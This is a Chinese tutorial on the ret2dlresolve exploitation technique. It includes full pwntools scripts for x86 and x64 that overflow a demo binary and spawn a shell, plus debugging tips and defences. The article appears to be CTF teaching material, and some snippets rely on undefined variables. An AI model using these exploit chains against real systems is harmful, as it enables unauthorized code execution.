告别信息泄露：手把手教你用ret2dlresolve在x86/x64下无泄漏getshell（附完整POC脚本）

深入解析ret2dlresolve攻击技术：从原理到实战

在二进制安全领域，ret2dlresolve攻击技术因其独特的利用方式和强大的实战价值，成为CTF比赛和漏洞研究中的经典手法。本文将系统性地剖析这一技术，从基础原理到高级利用技巧，帮助读者全面掌握这一攻击方法。

1. 动态链接机制与延迟绑定原理

现代Linux系统采用动态链接技术来优化程序的内存使用和加载效率。理解动态链接的工作机制是掌握ret2dlresolve攻击的基础。

动态链接的核心在于**延迟绑定（Lazy Binding）**机制。当程序首次调用一个动态链接库函数时，会经历以下步骤：

1. 程序跳转到PLT（Procedure Linkage Table）表项
2. PLT表项跳转到GOT（Global Offset Table）中存储的地址
3. 首次调用时，GOT指向PLT中的下一条指令
4. 该指令将函数的reloc_arg压栈，并跳转到PLT[0]
5. PLT[0]将link_map压栈，然后跳转到_dl_runtime_resolve

// 简化的_dl_fixup函数逻辑 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, flags, NULL); value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0); return elf_machine_fixup_plt(l, result, reloc, rel_addr, value); }

关键数据结构包括：

• .rel.plt：重定位表，包含函数重定位信息
• .dynsym：动态符号表，存储符号信息
• .dynstr：动态字符串表，包含函数名等字符串

2. ret2dlresolve攻击核心思想

ret2dlresolve攻击的精妙之处在于完全控制动态链接的解析过程，而无需泄露任何内存地址。其核心思路是通过栈溢出等手段，伪造整个动态链接解析过程中涉及的数据结构。

攻击成功需要控制以下关键点：

1. reloc_arg：控制重定位表项的索引
2. 伪造的.rel.plt条目：指定r_offset和r_info
3. 伪造的.dynsym条目：控制st_name等字段
4. 伪造的.dynstr：将目标函数名替换为system等危险函数

# 典型的伪造数据结构示例 fake_reloc = p32(r_offset) + p32(r_info) # 伪造.rel.plt条目 fake_sym = p32(st_name) + p32(0)*3 # 伪造.dynsym条目 fake_str = b"system\x00" # 伪造.dynstr内容

攻击流程可概括为：

1. 通过栈溢出控制程序执行流
2. 跳转到PLT[0]触发解析流程
3. 提供精心构造的reloc_arg
4. 在可控内存区域布置伪造的数据结构
5. 最终解析并执行目标函数（如system("/bin/sh")）

3. x86架构下的实战利用

在32位环境下，ret2dlresolve攻击相对直接。我们以一个简单的栈溢出漏洞为例，演示完整利用过程。

3.1 环境准备与漏洞分析

首先编译一个存在栈溢出漏洞的示例程序：

// vuln.c #include <unistd.h> void vuln() { char buf[100]; read(0, buf, 256); // 明显的栈溢出 } int main() { vuln(); return 0; }

编译命令：

gcc -m32 -fno-stack-protector -z relro -no-pie vuln.c -o vuln32

检查保护机制：

checksec --file=vuln32

3.2 分阶段伪造数据结构

完整的利用需要分阶段伪造各个数据结构：

1. 控制reloc_arg：使解析器访问我们控制的内存区域
2. 伪造.rel.plt条目：指定r_info指向伪造的符号表条目
3. 伪造.dynsym条目：控制st_name指向伪造的字符串
4. 伪造.dynstr：将函数名替换为system

from pwn import * context.arch = 'i386' elf = ELF('./vuln32') # 关键地址 plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 计算伪造数据结构的位置 base_stage = 0x804a800 # 可控的bss段地址 align = 0x10 - ((base_stage + 0x24 - dynsym) % 0x10) fake_sym_addr = base_stage + 0x24 + align # 构造payload payload = flat( 'A'*112, # 填充 p32(elf.plt['read']), # 读取伪造数据到bss段 p32(0x08048619), # pop3; ret p32(0), p32(base_stage), p32(0x200), p32(plt0), # 触发解析 p32(fake_reloc_offset), # reloc_arg p32(0xdeadbeef), # 返回地址 p32(base_stage + 80), # system参数 # 伪造的.rel.plt p32(elf.got['write']), # r_offset p32((((fake_sym_addr - dynsym)//0x10) << 8) | 0x7), # 伪造的.dynsym 'A'*align, p32(fake_str_offset), p32(0), p32(0), p32(0x12), # 伪造的.dynstr b'system\x00' )

3.3 完整利用脚本

以下是完整的x86利用脚本：

from pwn import * context.arch = 'i386' context.log_level = 'debug' elf = ELF('./vuln32') rop = ROP(elf) # 关键gadget ppp_ret = 0x08048619 # pop esi; pop edi; pop ebp; ret leave_ret = 0x08048445 # 内存布局 bss = elf.bss() + 0x800 base_stage = bss # 伪造数据结构 cmd = b"/bin/sh\x00" plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr fake_reloc_offset = base_stage + 28 - rel_plt fake_write_rel = flat( p32(elf.got['write']), p32((((base_stage + 36 + 0x10 - (base_stage + 36) % 0x10 - dynsym)//0x10) << 8) | 0x7) ) align = 0x10 - ((base_stage + 36 - dynsym) % 0x10) fake_sym = flat( p32(base_stage + 36 + align + 0x10 - dynstr), p32(0), p32(0), p32(0x12) ) fake_str = b'system\x00' # 构造payload payload = flat( 'A'*112, p32(elf.plt['read']), p32(ppp_ret), p32(0), p32(base_stage), p32(0x200), p32(0x0804861b), # pop ebp; ret p32(base_stage), p32(leave_ret) ) # 第二阶段payload payload2 = flat( 'AAAA', p32(plt0), p32(fake_reloc_offset), p32(ppp_ret), p32(base_stage + 80), p32(0), p32(0), fake_write_rel, 'A'*align, fake_sym, fake_str, 'A'*(80 - len(fake_str)), cmd ) p = process('./vuln32') p.send(payload) p.send(payload2) p.interactive()

4. x64架构下的特殊挑战与解决方案

64位环境下的ret2dlresolve攻击面临更多挑战，主要来自三个方面：

1. 参数传递方式从栈变为寄存器
2. 更严格的结构体对齐要求
3. 额外的st_other检查机制

4.1 x64与x86的关键差异

1. 参数传递：x64使用寄存器（rdi, rsi, rdx等）传递参数
2. 数据结构：Elf64_Rela结构体大小为24字节（x86下Elf32_Rel为8字节）
3. 符号解析：增加了对st_other字段的检查

// x64下的关键检查 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { // 完整解析流程 } else { // 简化路径 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); }

4.2 绕过x64的防护机制

x64环境下成功利用需要：

1. 控制st_other字段：使其不为0，跳过复杂检查路径
2. 伪造link_map结构：控制l_addr和sym->st_value
3. 精确计算偏移：确保所有伪造数据结构正确对齐

关键思路是将已解析函数的GOT地址减去8作为伪造的symtab地址：

known_got = elf.got['write'] fake_symtab = known_got - 8 # 使st_other不为0

4.3 x64完整利用脚本

以下是x64环境下的完整利用示例：

from pwn import * context.arch = 'amd64' context.log_level = 'debug' elf = ELF('./vuln64') libc = elf.libc # 关键gadget pop_rdi = 0x4007a3 pop_rsi_r15 = 0x4007a1 plt0 = elf.get_section_by_name('.plt').header.sh_addr # 内存布局 bss = elf.bss() + 0x800 offset = libc.sym['system'] - libc.sym['write'] def fake_linkmap_payload(fake_linkmap_addr, known_got, offset): linkmap = p64(offset & (2**64-1)) # l_addr linkmap += p64(0) # l_name linkmap += p64(fake_linkmap_addr + 0x18) # DT_JMPREL linkmap += p64(0) # r_offset linkmap += p64(0x7) # r_info linkmap += p64(0) # r_addend linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # DT_STRTAB linkmap += p64(known_got - 8) # DT_SYMTAB (指向伪造的symtab) linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # DT_JMPREL指针 return linkmap # 构造payload payload = flat( 'A'*120, pop_rdi, 0, pop_rsi_r15, bss, 0, p64(elf.plt['read']), # 读取伪造的link_map pop_rdi, bss + 0x48, # "/bin/sh"地址 p64(plt0), # 触发解析 p64(bss), # link_map参数 p64(0) # reloc_index ) fake_map = fake_linkmap_payload(bss, elf.got['write'], offset) fake_map = fake_map.ljust(0x48, b'\x00') + b'/bin/sh\x00' p = process('./vuln64') p.send(payload) p.send(fake_map) p.interactive()

5. 高级技巧与防护对策

5.1 NO RELRO情况下的简化利用

当程序编译时使用-z norelro选项，.dynamic节区可写，此时利用更为简单：

1. 直接修改.dynamic中的strtab指针
2. 将其指向我们控制的伪造字符串表
3. 将目标函数名替换为system

# NO RELRO下的利用片段 strtab_addr = 0x600988 # .dynamic中的strtab指针 payload = flat( pop_rdi, 0, pop_rsi_r15, strtab_addr, 0, p64(elf.plt['read']), # 修改strtab指针 pop_rdi, bss + 0x20, # "/bin/sh"地址 p64(plt0), # 触发解析 p64(0) # reloc_index ) fake_strtab = b'\x00libc.so.6\x00system\x00'

5.2 不同保护机制的对抗

5.3 防御建议

开发人员可以采取以下措施防御ret2dlresolve攻击：

1. 启用FULL RELRO保护（-z relro -z now）
2. 启用栈保护（-fstack-protector-all）
3. 启用PIE（位置无关可执行文件）
4. 限制危险函数的使用（如system、execve等）
5. 进行严格的输入验证和长度检查

6. 实战案例与调试技巧

6.1 典型CTF题目分析

以一道典型CTF题目为例，演示实际调试过程：

1. 检查保护机制：

   checksec --file=challenge

2. 确定溢出点：

   cyclic(200) gdb.attach(p, 'b *vuln+42\nc')

3. 构造ROP链：

   rop = ROP(elf) rop.raw(rop.ret) # 栈对齐 rop.call('read', [0, bss, 0x200]) rop.migrate(bss)

4. 布置伪造数据结构：

   # 计算各段偏移 reloc_offset = base_stage + 0x28 - rel_plt sym_index = (base_stage + 0x38 - dynsym) // 0x18

6.2 GDB调试技巧

调试ret2dlresolve攻击时，关键断点设置：

b *_dl_fixup b *elf_machine_fixup_plt b *dl_lookup_symbol_x

监视关键内存区域：

watch *(0x08048330) # 监视.rel.plt区域 x/10i $eip # 查看当前指令 info registers # 检查寄存器状态

6.3 常见问题排查

1. 段错误（SIGSEGV）：

   • 检查内存地址是否可写
   • 验证数据结构对齐是否正确
   • 确认伪造的指针是否有效

2. 解析失败：

   • 检查reloc_arg计算是否正确
   • 验证r_info和st_name字段
   • 确认字符串是否以null结尾

3. 参数错误：

   • x64下确保寄存器设置正确
   • 检查栈对齐情况（16字节对齐）
   • 验证函数参数位置

7. 技术演进与扩展应用

ret2dlresolve技术自提出以来经历了多次演进，衍生出多种变体：

1. 传统ret2dlresolve：基本形式，适用于Partial RELRO
2. NO RELRO变种：直接修改.dynamic节区
3. 高级伪造技巧：结合堆漏洞实现更灵活的利用
4. 结合其他漏洞：与信息泄露结合绕过ASLR

在实际漏洞利用中，ret2dlresolve常与其他技术组合使用：

• 结合堆漏洞：通过堆溢出或UAF伪造更复杂的数据结构
• 结合信息泄露：先泄露部分地址再精确构造payload
• 多阶段利用：在受限环境下分阶段完成攻击

# 结合堆漏洞的示例 heap_addr = leak_heap_address() fake_linkmap = construct_fake_linkmap(heap_addr) overflow_to_control_pointer(fake_linkmap) trigger_resolution()

随着防护机制的加强，传统的ret2dlresolve利用在某些环境下变得困难，但理解其原理仍然对二进制安全研究至关重要。它不仅是一种攻击技术，更是理解动态链接机制的绝佳案例。